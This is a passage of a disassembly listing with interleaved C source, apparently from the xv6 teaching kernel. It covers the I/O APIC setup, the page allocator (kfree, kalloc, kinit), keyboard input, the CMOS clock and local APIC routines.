$0x80106e14,(%esp) 8010224f: e8 fc e3 ff ff call 80100650 <cprintf> 80102254: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 8010225a: ba 10 00 00 00 mov $0x10,%edx 8010225f: 31 c0 xor %eax,%eax 80102261: eb 07 jmp 8010226a <ioapicinit+0x6a> 80102263: 90 nop 80102264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102268: 89 cb mov %ecx,%ebx ioapic->reg = reg; 8010226a: 89 13 mov %edx,(%ebx) ioapic->data = data; 8010226c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 80102272: 8d 48 20 lea 0x20(%eax),%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102275: 81 c9 00 00 01 00 or $0x10000,%ecx for(i = 0; i <= maxintr; i++){ 8010227b: 83 c0 01 add $0x1,%eax ioapic->data = data; 8010227e: 89 4b 10 mov %ecx,0x10(%ebx) 80102281: 8d 4a 01 lea 0x1(%edx),%ecx 80102284: 83 c2 02 add $0x2,%edx ioapic->reg = reg; 80102287: 89 0b mov %ecx,(%ebx) ioapic->data = data; 80102289: 8b 0d 34 26 11 80 mov 0x80112634,%ecx for(i = 0; i <= maxintr; i++){ 8010228f: 39 c6 cmp %eax,%esi ioapic->data = data; 80102291: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 80102298: 7d ce jge 80102268 <ioapicinit+0x68> ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010229a: 83 c4 10 add $0x10,%esp 8010229d: 5b pop %ebx 8010229e: 5e pop %esi 8010229f: 5d pop %ebp 801022a0: c3 ret 801022a1: eb 0d jmp 801022b0 <ioapicenable> 801022a3: 90 nop 801022a4: 90 nop 801022a5: 90 nop 801022a6: 90 nop 801022a7: 90 nop 801022a8: 90 nop 801022a9: 90 nop 801022aa: 90 nop 801022ab: 90 nop 801022ac: 90 nop 801022ad: 90 nop 801022ae: 90 nop 801022af: 90 nop 801022b0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022b0: 55 push %ebp 801022b1: 89 e5 mov %esp,%ebp 801022b3: 8b 55 08 mov 0x8(%ebp),%edx 801022b6: 53 push %ebx 801022b7: 8b 45 0c mov 0xc(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022ba: 8d 5a 20 lea 0x20(%edx),%ebx 801022bd: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx ioapic->reg = reg; 801022c1: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022c7: c1 e0 18 shl $0x18,%eax ioapic->reg = reg; 801022ca: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022cc: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022d2: 83 c1 01 add $0x1,%ecx ioapic->data = data; 801022d5: 89 5a 10 mov %ebx,0x10(%edx) ioapic->reg = reg; 801022d8: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022da: 8b 15 34 26 11 80 mov 0x80112634,%edx 801022e0: 89 42 10 mov %eax,0x10(%edx) } 801022e3: 5b pop %ebx 801022e4: 5d pop %ebp 801022e5: c3 ret 801022e6: 66 90 xchg %ax,%ax 801022e8: 66 90 xchg %ax,%ax 801022ea: 66 90 xchg %ax,%ax 801022ec: 66 90 xchg %ax,%ax 801022ee: 66 90 xchg %ax,%ax 801022f0 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 801022f0: 55 push %ebp 801022f1: 89 e5 mov %esp,%ebp 801022f3: 53 push %ebx 801022f4: 83 ec 14 sub $0x14,%esp 801022f7: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 801022fa: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102300: 75 7c jne 8010237e <kfree+0x8e> 80102302: 81 fb a8 54 11 80 cmp $0x801154a8,%ebx 80102308: 72 74 jb 8010237e <kfree+0x8e> 8010230a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102310: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102315: 77 67 ja 8010237e <kfree+0x8e> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102317: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010231e: 00 8010231f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102326: 00 80102327: 89 1c 24 mov %ebx,(%esp) 8010232a: e8 71 1f 00 00 call 801042a0 <memset> if(kmem.use_lock) 8010232f: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102335: 85 d2 test %edx,%edx 80102337: 75 37 jne 80102370 <kfree+0x80> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102339: a1 78 26 11 80 mov 0x80112678,%eax 8010233e: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 80102340: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102345: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 8010234b: 85 c0 test %eax,%eax 8010234d: 75 09 jne 80102358 <kfree+0x68> release(&kmem.lock); } 8010234f: 83 c4 14 add $0x14,%esp 80102352: 5b pop %ebx 80102353: 5d pop %ebp 80102354: c3 ret 80102355: 8d 76 00 lea 0x0(%esi),%esi release(&kmem.lock); 80102358: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 8010235f: 83 c4 14 add $0x14,%esp 80102362: 5b pop %ebx 80102363: 5d pop %ebp release(&kmem.lock); 80102364: e9 e7 1e 00 00 jmp 80104250 <release> 80102369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&kmem.lock); 80102370: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 80102377: e8 64 1e 00 00 call 801041e0 <acquire> 8010237c: eb bb jmp 80102339 <kfree+0x49> panic("kfree"); 8010237e: c7 04 24 46 6e 10 80 movl $0x80106e46,(%esp) 80102385: e8 d6 df ff ff call 80100360 <panic> 8010238a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102390 <freerange>: { 80102390: 55 push %ebp 80102391: 89 e5 mov %esp,%ebp 80102393: 56 push %esi 80102394: 53 push %ebx 80102395: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102398: 8b 45 08 mov 0x8(%ebp),%eax { 8010239b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010239e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 801023a4: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023aa: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 801023b0: 39 de cmp %ebx,%esi 801023b2: 73 08 jae 801023bc <freerange+0x2c> 801023b4: eb 18 jmp 801023ce <freerange+0x3e> 801023b6: 66 90 xchg %ax,%ax 801023b8: 89 da mov %ebx,%edx 801023ba: 89 c3 mov %eax,%ebx kfree(p); 801023bc: 89 14 24 mov %edx,(%esp) 801023bf: e8 2c ff ff ff call 801022f0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023c4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 801023ca: 39 f0 cmp %esi,%eax 801023cc: 76 ea jbe 801023b8 <freerange+0x28> } 801023ce: 83 c4 10 add $0x10,%esp 801023d1: 5b pop %ebx 801023d2: 5e pop %esi 801023d3: 5d pop %ebp 801023d4: c3 ret 801023d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801023e0 <kinit1>: { 801023e0: 55 push %ebp 801023e1: 89 e5 mov %esp,%ebp 801023e3: 56 push %esi 801023e4: 53 push %ebx 801023e5: 83 ec 10 sub $0x10,%esp 801023e8: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023eb: c7 44 24 04 4c 6e 10 movl $0x80106e4c,0x4(%esp) 801023f2: 80 801023f3: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801023fa: e8 71 1c 00 00 call 80104070 <initlock> p = (char*)PGROUNDUP((uint)vstart); 801023ff: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 0; 80102402: c7 05 74 26 11 80 00 movl $0x0,0x80112674 80102409: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 8010240c: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102412: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102418: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 8010241e: 39 de cmp %ebx,%esi 80102420: 73 0a jae 8010242c <kinit1+0x4c> 80102422: eb 1a jmp 8010243e <kinit1+0x5e> 80102424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102428: 89 da mov %ebx,%edx 8010242a: 89 c3 mov %eax,%ebx kfree(p); 8010242c: 89 14 24 mov %edx,(%esp) 8010242f: e8 bc fe ff ff call 801022f0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102434: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010243a: 39 c6 cmp %eax,%esi 8010243c: 73 ea jae 80102428 <kinit1+0x48> } 8010243e: 83 c4 10 add $0x10,%esp 80102441: 5b pop %ebx 80102442: 5e pop %esi 80102443: 5d pop %ebp 80102444: c3 ret 80102445: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102450 <kinit2>: { 80102450: 55 push %ebp 80102451: 89 e5 mov %esp,%ebp 80102453: 56 push %esi 80102454: 53 push %ebx 80102455: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102458: 8b 45 08 mov 0x8(%ebp),%eax { 8010245b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010245e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102464: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010246a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102470: 39 de cmp %ebx,%esi 80102472: 73 08 jae 8010247c <kinit2+0x2c> 80102474: eb 18 jmp 8010248e <kinit2+0x3e> 80102476: 66 90 xchg %ax,%ax 80102478: 89 da mov %ebx,%edx 8010247a: 89 c3 mov %eax,%ebx kfree(p); 8010247c: 89 14 24 mov %edx,(%esp) 8010247f: e8 6c fe ff ff call 801022f0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102484: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010248a: 39 c6 cmp %eax,%esi 8010248c: 73 ea jae 80102478 <kinit2+0x28> kmem.use_lock = 1; 8010248e: c7 05 74 26 11 80 01 movl $0x1,0x80112674 80102495: 00 00 00 } 80102498: 83 c4 10 add $0x10,%esp 8010249b: 5b pop %ebx 8010249c: 5e pop %esi 8010249d: 5d pop %ebp 8010249e: c3 ret 8010249f: 90 nop 801024a0 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 801024a0: 55 push %ebp 801024a1: 89 e5 mov %esp,%ebp 801024a3: 53 push %ebx 801024a4: 83 ec 14 sub $0x14,%esp struct run *r; if(kmem.use_lock) 801024a7: a1 74 26 11 80 mov 0x80112674,%eax 801024ac: 85 c0 test %eax,%eax 801024ae: 75 30 jne 801024e0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 801024b0: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 801024b6: 85 db test %ebx,%ebx 801024b8: 74 08 je 801024c2 <kalloc+0x22> kmem.freelist = r->next; 801024ba: 8b 13 mov (%ebx),%edx 801024bc: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024c2: 85 c0 test %eax,%eax 801024c4: 74 0c je 801024d2 <kalloc+0x32> release(&kmem.lock); 801024c6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024cd: e8 7e 1d 00 00 call 80104250 <release> return (char*)r; } 801024d2: 83 c4 14 add $0x14,%esp 801024d5: 89 d8 mov %ebx,%eax 801024d7: 5b pop %ebx 801024d8: 5d pop %ebp 801024d9: c3 ret 801024da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&kmem.lock); 801024e0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024e7: e8 f4 1c 00 00 call 801041e0 <acquire> 801024ec: a1 74 26 11 80 mov 0x80112674,%eax 801024f1: eb bd jmp 801024b0 <kalloc+0x10> 801024f3: 66 90 xchg %ax,%ax 801024f5: 66 90 xchg %ax,%ax 801024f7: 66 90 xchg %ax,%ax 801024f9: 66 90 xchg %ax,%ax 801024fb: 66 90 xchg %ax,%ax 801024fd: 66 90 xchg %ax,%ax 801024ff: 90 nop 80102500 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102500: ba 64 00 00 00 mov $0x64,%edx 80102505: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 80102506: a8 01 test $0x1,%al 80102508: 0f 84 ba 00 00 00 je 801025c8 <kbdgetc+0xc8> 8010250e: b2 60 mov $0x60,%dl 80102510: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102511: 0f b6 c8 movzbl %al,%ecx if(data == 0xE0){ 80102514: 81 f9 e0 00 00 00 cmp $0xe0,%ecx 8010251a: 0f 84 88 00 00 00 je 801025a8 <kbdgetc+0xa8> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102520: 84 c0 test %al,%al 80102522: 79 2c jns 80102550 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102524: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx 8010252a: f6 c2 40 test $0x40,%dl 8010252d: 75 05 jne 80102534 <kbdgetc+0x34> 8010252f: 89 c1 mov %eax,%ecx 80102531: 83 e1 7f and $0x7f,%ecx shift &= ~(shiftcode[data] | E0ESC); 80102534: 0f b6 81 80 6f 10 80 movzbl -0x7fef9080(%ecx),%eax 8010253b: 83 c8 40 or $0x40,%eax 8010253e: 0f b6 c0 movzbl %al,%eax 80102541: f7 d0 not %eax 80102543: 21 d0 and %edx,%eax 80102545: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010254a: 31 c0 xor %eax,%eax 8010254c: c3 ret 8010254d: 8d 76 00 lea 0x0(%esi),%esi { 80102550: 55 push %ebp 80102551: 89 e5 mov %esp,%ebp 80102553: 53 push %ebx 80102554: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx } else if(shift & E0ESC){ 8010255a: f6 c3 40 test $0x40,%bl 8010255d: 74 09 je 80102568 <kbdgetc+0x68> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010255f: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102562: 83 e3 bf and $0xffffffbf,%ebx data |= 0x80; 80102565: 0f b6 c8 movzbl %al,%ecx } shift |= shiftcode[data]; 80102568: 0f b6 91 80 6f 10 80 movzbl -0x7fef9080(%ecx),%edx shift ^= togglecode[data]; 8010256f: 0f b6 81 80 6e 10 80 movzbl -0x7fef9180(%ecx),%eax shift |= shiftcode[data]; 80102576: 09 da or %ebx,%edx shift ^= togglecode[data]; 80102578: 31 c2 xor %eax,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010257a: 89 d0 mov %edx,%eax 8010257c: 83 e0 03 and $0x3,%eax 8010257f: 8b 04 85 60 6e 10 80 mov -0x7fef91a0(,%eax,4),%eax shift ^= togglecode[data]; 80102586: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4 if(shift & CAPSLOCK){ 8010258c: 83 e2 08 and $0x8,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010258f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax if(shift & CAPSLOCK){ 80102593: 74 0b je 801025a0 <kbdgetc+0xa0> if('a' <= c && c <= 'z') 80102595: 8d 50 9f lea -0x61(%eax),%edx 80102598: 83 fa 19 cmp $0x19,%edx 8010259b: 77 1b ja 801025b8 <kbdgetc+0xb8> c += 'A' - 'a'; 8010259d: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 801025a0: 5b pop %ebx 801025a1: 5d pop %ebp 801025a2: c3 ret 801025a3: 90 nop 801025a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 801025a8: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 return 0; 801025af: 31 c0 xor %eax,%eax 801025b1: c3 ret 801025b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi else if('A' <= c && c <= 'Z') 801025b8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025bb: 8d 50 20 lea 0x20(%eax),%edx 801025be: 83 f9 19 cmp $0x19,%ecx 801025c1: 0f 46 c2 cmovbe %edx,%eax return c; 801025c4: eb da jmp 801025a0 <kbdgetc+0xa0> 801025c6: 66 90 xchg %ax,%ax return -1; 801025c8: b8 ff ff ff ff mov $0xffffffff,%eax 801025cd: c3 ret 801025ce: 66 90 xchg %ax,%ax 801025d0 <kbdintr>: void kbdintr(void) { 801025d0: 55 push %ebp 801025d1: 89 e5 mov %esp,%ebp 801025d3: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801025d6: c7 04 24 00 25 10 80 movl $0x80102500,(%esp) 801025dd: e8 ce e1 ff ff call 801007b0 <consoleintr> } 801025e2: c9 leave 801025e3: c3 ret 801025e4: 66 90 xchg %ax,%ax 801025e6: 66 90 xchg %ax,%ax 801025e8: 66 90 xchg %ax,%ax 801025ea: 66 90 xchg %ax,%ax 801025ec: 66 90 xchg %ax,%ax 801025ee: 66 90 xchg %ax,%ax 801025f0 <fill_rtcdate>: return inb(CMOS_RETURN); } static void fill_rtcdate(struct rtcdate *r) { 801025f0: 55 push %ebp 801025f1: 89 c1 mov %eax,%ecx 801025f3: 89 e5 mov %esp,%ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025f5: ba 70 00 00 00 mov $0x70,%edx 801025fa: 53 push %ebx 801025fb: 31 c0 xor %eax,%eax 801025fd: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801025fe: bb 71 00 00 00 mov $0x71,%ebx 80102603: 89 da mov %ebx,%edx 80102605: ec in (%dx),%al return inb(CMOS_RETURN); 80102606: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102609: b2 70 mov $0x70,%dl 8010260b: 89 01 mov %eax,(%ecx) 8010260d: b8 02 00 00 00 mov $0x2,%eax 80102612: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102613: 89 da mov %ebx,%edx 80102615: ec in (%dx),%al 80102616: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102619: b2 70 mov $0x70,%dl 8010261b: 89 41 04 mov %eax,0x4(%ecx) 8010261e: b8 04 00 00 00 mov $0x4,%eax 80102623: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102624: 89 da mov %ebx,%edx 80102626: ec in (%dx),%al 80102627: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010262a: b2 70 mov $0x70,%dl 8010262c: 89 41 08 mov %eax,0x8(%ecx) 8010262f: b8 07 00 00 00 mov $0x7,%eax 80102634: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102635: 89 da mov %ebx,%edx 80102637: ec in (%dx),%al 80102638: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010263b: b2 70 mov $0x70,%dl 8010263d: 89 41 0c mov %eax,0xc(%ecx) 80102640: b8 08 00 00 00 mov $0x8,%eax 80102645: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102646: 89 da mov %ebx,%edx 80102648: ec in (%dx),%al 80102649: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010264c: b2 70 mov $0x70,%dl 8010264e: 89 41 10 mov %eax,0x10(%ecx) 80102651: b8 09 00 00 00 mov $0x9,%eax 80102656: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102657: 89 da mov %ebx,%edx 80102659: ec in (%dx),%al 8010265a: 0f b6 d8 movzbl %al,%ebx 8010265d: 89 59 14 mov %ebx,0x14(%ecx) r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); } 80102660: 5b pop %ebx 80102661: 5d pop %ebp 80102662: c3 ret 80102663: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102670 <lapicinit>: if(!lapic) 80102670: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102675: 55 push %ebp 80102676: 89 e5 mov %esp,%ebp if(!lapic) 80102678: 85 c0 test %eax,%eax 8010267a: 0f 84 c0 00 00 00 je 80102740 <lapicinit+0xd0> lapic[index] = value; 80102680: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102687: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010268a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010268d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102694: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102697: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010269a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 801026a1: 00 02 00 lapic[ID]; // wait for write to finish, by reading 801026a4: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a7: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 801026ae: 96 98 00 lapic[ID]; // wait for write to finish, by reading 801026b1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 801026bb: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026be: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801026c8: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026cb: 8b 50 20 mov 0x20(%eax),%edx if(((lapic[VER]>>16) & 0xFF) >= 4) 801026ce: 8b 50 30 mov 0x30(%eax),%edx 801026d1: c1 ea 10 shr $0x10,%edx 801026d4: 80 fa 03 cmp $0x3,%dl 801026d7: 77 6f ja 80102748 <lapicinit+0xd8> lapic[index] = value; 801026d9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026e0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026e3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026e6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ed: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026f0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026f3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026fa: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026fd: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102700: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102707: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010270a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010270d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102714: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102717: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010271a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102721: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102724: 8b 50 20 mov 0x20(%eax),%edx 80102727: 90 nop while(lapic[ICRLO] & DELIVS) 80102728: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 8010272e: 80 e6 10 and $0x10,%dh 80102731: 75 f5 jne 80102728 <lapicinit+0xb8> lapic[index] = value; 80102733: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 8010273a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010273d: 8b 40 20 mov 0x20(%eax),%eax } 80102740: 5d pop %ebp 80102741: c3 ret 80102742: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102748: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 8010274f: 00 01 00 lapic[ID]; // wait for write to finish, by reading 80102752: 8b 50 20 mov 0x20(%eax),%edx 80102755: eb 82 jmp 801026d9 <lapicinit+0x69> 80102757: 89 f6 mov %esi,%esi 80102759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102760 <lapicid>: if (!lapic) 80102760: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102765: 55 push %ebp 80102766: 89 e5 mov %esp,%ebp if (!lapic) 80102768: 85 c0 test %eax,%eax 8010276a: 74 0c je 80102778 <lapicid+0x18> return lapic[ID] >> 24; 8010276c: 8b 40 20 mov 0x20(%eax),%eax } 8010276f: 5d pop %ebp return lapic[ID] >> 24; 80102770: c1 e8 18 shr $0x18,%eax } 80102773: c3 ret 80102774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80102778: 31 c0 xor %eax,%eax } 8010277a: 5d pop %ebp 8010277b: c3 ret 8010277c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102780 <lapiceoi>: if(lapic) 80102780: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102785: 55 push %ebp 80102786: 89 e5 mov %esp,%ebp if(lapic) 80102788: 85 c0 test %eax,%eax 8010278a: 74 0d je 80102799 <lapiceoi+0x19> lapic[index] = value; 8010278c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102793: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102796: 8b 40 20 mov 0x20(%eax),%eax } 80102799: 5d pop %ebp 8010279a: c3 ret 8010279b: 90 nop 8010279c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027a0 <microdelay>: { 801027a0: 55 push %ebp 801027a1: 89 e5 mov %esp,%ebp } 801027a3: 5d pop %ebp 801027a4: c3 ret 801027a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801027a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801027b0 <lapicstartap>: { 801027b0: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027b1: ba 70 00 00 00 mov $0x70,%edx 801027b6: 89 e5 mov %esp,%ebp 801027b8: b8 0f 00 00 00 mov $0xf,%eax 801027bd: 53 push %ebx 801027be: 8b 4d 08 mov 0x8(%ebp),%ecx 801027c1: 8b 5d 0c mov 0xc(%ebp),%ebx 801027c4: ee out %al,(%dx) 801027c5: b8 0a 00 00 00 mov $0xa,%eax 801027ca: b2 71 mov $0x71,%dl 801027cc: ee out %al,(%dx) wrv[0] = 0; 801027cd: 31 c0 xor %eax,%eax 801027cf: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027d5: 89 d8 mov %ebx,%eax 801027d7: c1 e8 04 shr $0x4,%eax 801027da: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027e0: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(ICRHI, apicid<<24); 801027e5: c1 e1 18 shl $0x18,%ecx lapicw(ICRLO, STARTUP | (addr>>12)); 801027e8: c1 eb 0c shr $0xc,%ebx lapic[index] = value; 801027eb: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027f1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027f4: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027fb: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027fe: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102801: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 80102808: 85 00 00 lapic[ID]; // wait for write to finish, by reading 8010280b: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010280e: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102814: 8b 50 20 mov 0x20(%eax),%edx lapicw(ICRLO, STARTUP | (addr>>12)); 80102817: 89 da mov %ebx,%edx 80102819: 80 ce 06 or $0x6,%dh lapic[index] = value; 8010281c: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102822: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 